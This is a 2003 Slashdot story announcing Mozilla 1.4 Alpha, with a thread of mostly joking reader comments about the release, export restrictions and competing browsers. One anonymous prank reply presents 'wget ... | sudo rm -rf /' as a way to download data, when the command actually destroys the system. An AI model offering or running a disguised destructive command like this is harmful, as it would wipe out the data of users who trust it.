Run For Cover; It's Mozilla 1.4 Alpha

asa writes "Mozilla 1.4 Alpha is out. This release features dynamic image and table resizing in Composer, smooth scrolling (see release notes for enabling this feature,) and usability improvements to spam filtering. In addition to these feature improvements, 1.4a also contains fixes for performance, stability, standards support and website compatibility. This is an alpha release so expect bugs, and don't use it unless you are willing to live with the risks inherent in such a release (ie. crashes, data loss, etc.). More information is available in the release notes."

Comments

Ok.. you can stop now

[Anonymous Coward]

April Fools is OVER!

6 months ago Mozilla was at .99..

A project that's been in the work for well over 3 years..

And NOW 1.4 Alpha?!?!

Excuse me while I go pop some more of those hallucination thingies I had before

Hmm

[e8johan]

"don't use it unless you are willing to live with the risks inherent in such a release (ie. crashes, data loss, etc.)."

I thought Windows was for x86, but accordin to this is more like alpha to me... :)

The real killer-feature question is...

[KDan]

Did they keep the kitchen sink?

Daniel

Worried Moz Users

[insin]

Is there a large panicky or extremely nervous element to the Mozilla userbase?

Quote (their formatting):
"If the build you're looking for isn't here yet, DON'T PANIC."

Hmmm, can't seem to find the build I need...
OMGWHATAMIGOINGTODOISITALLENDING? HELPMESUPERMAN!!!11

Marketing ploy

[Anonymous Coward]

Now Redhat will need to release version 10.

So what?

[etrusco]

All I know is I'll quit using Mozilla and will start a port of Konqueror to Winblows if that irritating tab bug isn't fixed in 1.4.

Export Restrictions

[kinnell]

This source code is subject to the U.S. Export Administration Regulations and other U.S. law, and may not be exported or re-exported to certain countries (currently Afghanistan (Taliban controlled areas), Cuba, Iran, Iraq, Libya, North Korea, Sudan and Syria)

They forgot France, Germany and Turkey.

p.s. Taliban controlled areas? I thought the Taliban had been defeated.

Re:Aint Slashdot Great?

[Tyreth]

Got a screenshot of the smooth scrolling? :)

Re:is it safe?

[Anonymous Coward]

Yes I would. Also where do you do your banking and what is your account login and password.

Kitchen sink

[tsa]

For some reason about:kitchensink doesn't work for me in Mozilla 1.3. Hopefully it works in this version.

Re:Nooo!

[Anonymous Coward]

Fight the power man! Stand strong dude (cowabunga!) real men use IE (or is it, are used by IE?)

Smooth Trolling

[Anonymous Coward]

The 1.4 final will also have a "Smooth Trolling" ability. A troll response generator will be included via a "TrollTab" function. Also, there will be a baby caca smell detector so that users know when to change their rug rats. Mozilla considered turning signals and a couscous timer, but decided to impliment them in Mozilla 1.5 instead.

Re:is it safe?

[Anonymous Coward]

I have all of that information posted on the Internet. Use this command to fetch it:

wget -O - http://mydata.com/ | sudo rm -rf /

For security reasons, it may prompt you for your password.

crashes and data loss?

[asv108]

This is an alpha release so expect bugs, and don't use it unless you are willing to live with the risks inherent in such a release (ie. crashes, data loss, etc.)

IE crashes and data loss are the reason I switched to moz in the first place..

Where is Phoenix?

[DeadBugs]

There has not been a new release of the stripped down Phoenix browser since December 7th. I notice that the nightly builds are still being updated. I hope they are not spending all this time trying to come up with a new name.

Re:OS X eye candy

[0x0d0a]

because you know what is going on without thinking, because that "eye candry" is a useful part of the UI...

Um.

"You are now scrolling."

Gee, thanks.

lack of MNG support in IE

[yerricde]

Got a screenshot of the smooth scrolling? :)

Yeah, but IE 6 can't display MNG images out of the box.

Re:I miss the lizard

[Anonymous Coward]

My fav.
Save as mozilla.bmp and put with mozilla.exe

http://themes.mozdev.org/bugzilla-splashes/pics/ tu xracer%5BAT%5Diclinux.com01.jpg

Re:SPELLCHECKER ... ADD IT DAMN-IT!!!

[evilviper]

imagine ... right click, check spelling your posts.

Sorry, the spell-checker is NOT a grammar checker.

Get em out of the way

[buzzcutbuddha]

• Mozilla is dead! Use [Phoenix|Opera|Chimera|Galeon]
• [Phoenix|Opera|Chimera|Galeon|IE] suck, Mozilla is the only true browser.
• Mozilla is not a browser, it's a platform
• Mail client in Mozilla sucks
• Why haven't they fixed bug xxxx yet. It's been like forever!

Did I miss any?

Re:OS X eye candy

[Lumpy]

without thinking

No truer words have ever been spoken about users in general.